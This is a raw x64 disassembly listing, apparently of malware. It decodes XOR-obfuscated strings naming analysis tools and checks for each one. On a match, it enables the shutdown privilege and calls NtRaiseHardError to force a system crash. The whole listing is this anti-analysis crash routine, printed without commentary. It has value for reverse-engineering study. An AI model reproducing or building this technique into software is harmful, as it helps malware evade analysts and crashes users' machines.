call rdi
mov dword [rbp - 0x59], 0x1f4a4e40
mov dword [rbp - 0x55], 0x484a001f
mov word [rbp - 0x51], 0x54
mov byte [rbp - 0x4f], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 9
jb 0x14004be20
mov byte [rbp - 0x4f], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004be50
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004beaf
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004beaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004bfa6
call fcn.1400491c0
mov ecx, 0x8ca
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x24a4e40
mov dword [rbp - 0x55], 0x4a5648
mov byte [rbp - 0x51], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 7
jb 0x14004bfc0
mov byte [rbp - 0x51], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004bff0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004c04f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c04a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004c146
call fcn.1400491c0
mov ecx, 0x8ca
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
movdqa xmm0, xmmword [0x1400fa390]
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x5e425c
mov byte [rbp - 0x45], 1
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0x13
jb 0x14004c170
mov byte [rbp - 0x45], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c1a0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004c1ff
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c1fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004c2f6
call fcn.1400491c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
movdqa xmm0, xmmword [0x1400fa660]
movdqu xmmword [rbp - 0x59], xmm0
mov word [rbp - 0x49], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0x10
jb 0x14004c310
mov byte [rbp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c340
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x41]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004c39f
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c39a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004c496
call fcn.1400491c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x4052495a
mov dword [rbp - 0x55], 0x55014f41
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x14004c4b0
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c4e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005ab10
nop
mov ebx, 1
mov dword [rbp + 0x67], ebx
lea rcx, [rbp - 0x21]
call fcn.1400497c0
test rax, rax
jne 0x14004c693
mov dword [rbp - 0x59], 0x484f434f
mov dword [rbp - 0x55], 0x1e5d4b41
mov dword [rbp - 0x51], 0x564a54
mov byte [rbp - 0x4d], bl
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xb
jb 0x14004c530
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c560
lea rdx, [rbp - 0x59]
lea rcx, [rbp + 0x1f]
call fcn.14005ab10
nop
mov ebx, 3
mov dword [rbp + 0x67], ebx
lea rcx, [rbp + 0x1f]
call fcn.1400497c0
test rax, rax
jne 0x14004c693
mov dword [rbp - 0x59], 0x5b4e4341
mov dword [rbp - 0x55], 0x55574b03
mov word [rbp - 0x51], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 8
jb 0x14004c5b0
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c5e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 1]
call fcn.14005ab10
nop
mov ebx, 7
mov dword [rbp + 0x67], ebx
lea rcx, [rbp - 1]
call fcn.1400497c0
test rax, rax
jne 0x14004c693
mov dword [rbp - 0x59], 0x40484f5b
mov dword [rbp - 0x55], 0x1e5c5d4c
mov dword [rbp - 0x51], 0x564a54
mov byte [rbp - 0x4d], 1
mov rcx, rsi
nop
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xb
jb 0x14004c630
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x31], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c660
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x41]
call fcn.14005ab10
nop
mov ebx, reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x67], ebx
lea rcx, [rbp - 0x41]
call fcn.1400497c0
test rax, rax
jne 0x14004c693
xor dil, dil
jmp 0x14004c696
mov dil, 1
test bl, 8
je 0x14004c6dd
and ebx, 0xfffffff7
mov rdx, qword [rbp - 0x29]
cmp rdx, 0xf
jbe 0x14004c6dd
inc rdx
mov rcx, qword [rbp - 0x41]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c6d7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c6d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
nop
test bl, 4
je 0x14004c724
and ebx, 0xfffffffb
mov rdx, qword [rbp + 0x17]
cmp rdx, 0xf
jbe 0x14004c724
inc rdx
mov rcx, qword [rbp - 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c71e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c71e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
nop
test bl, 2
je 0x14004c76b
and ebx, 0xfffffffd
mov rdx, qword [rbp + 0x37]
cmp rdx, 0xf
jbe 0x14004c76b
inc rdx
mov rcx, qword [rbp + 0x1f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c765
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c765
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
nop
test bl, 1
je 0x14004c7ab
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004c7ab
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c7a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test dil, dil
je 0x14004c8a2
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
movdqa xmm0, xmmword [0x1400fa640]
movdqu xmmword [rbp - 0x59], xmm0
mov dword [rbp - 0x49], 0x1005f41
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0x12
jb 0x14004c8c0
mov byte [rbp - 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004c8f0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004c94f
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c94a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004ca46
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x5c465f4d
mov dword [rbp - 0x55], 0x55574b03
mov word [rbp - 0x51], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 8
jb 0x14004ca60
mov byte [rbp - 0x50], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004ca90
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004caef
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004caea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004cbe6
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x5c465f4d
mov dword [rbp - 0x55], 0x55015c48
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x14004cc00
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x59]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004cc30
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004cc8f
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cc8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ce29
call fcn.1400d317c
test rbx, rbx
je 0x14004cd86
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
lea rcx, [0x1400f7080]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x67]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
mov dword [rbp - 0x59], 0x5c465f6d
mov dword [rbp - 0x55], 0x55015c48
mov dword [rbp - 0x51], 0x1005749
mov rcx, rsi
nop
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xa
jb 0x14004cda0
mov byte [rbp - 0x4e], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x11], xmm1
lea rax, [rbp - 0x59]
nop word [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x14004cdd0
mov r8, r14
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005ab10
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004ce35
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ce30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ce30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
test rbx, rbx
je 0x14004ce4f
call fcn.1400491c0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14004d032
mov dword [rbp - 0x59], 0x59494f6d
mov dword [rbp - 0x55], 0x424a494a
mov dword [rbp - 0x51], 0x514b571f
mov word [rbp - 0x4d], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xc
jb 0x14004ce70
mov byte [rbp - 0x4c], 0
lea r9, [rbp + 0x67]
lea r8, [rbp - 0x4d]
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x21]
call fcn.14005a3a0
nop
lea rcx, [rbp - 0x21]
call fcn.1400497c0
mov rbx, rax
mov rdx, qword [rbp - 9]
cmp rdx, 0xf
jbe 0x14004cee4
inc rdx
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cedf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004cedf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400d317c
test rbx, rbx
jne 0x14004ce3a
mov dword [rbp - 0x59], 0x59494f4d
mov dword [rbp - 0x55], 0x424a494a
mov dword [rbp - 0x51], 0x514b571f
mov word [rbp - 0x4d], 0x100
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 0xc
jb 0x14004cf10
mov byte [rbp - 0x4c], 0
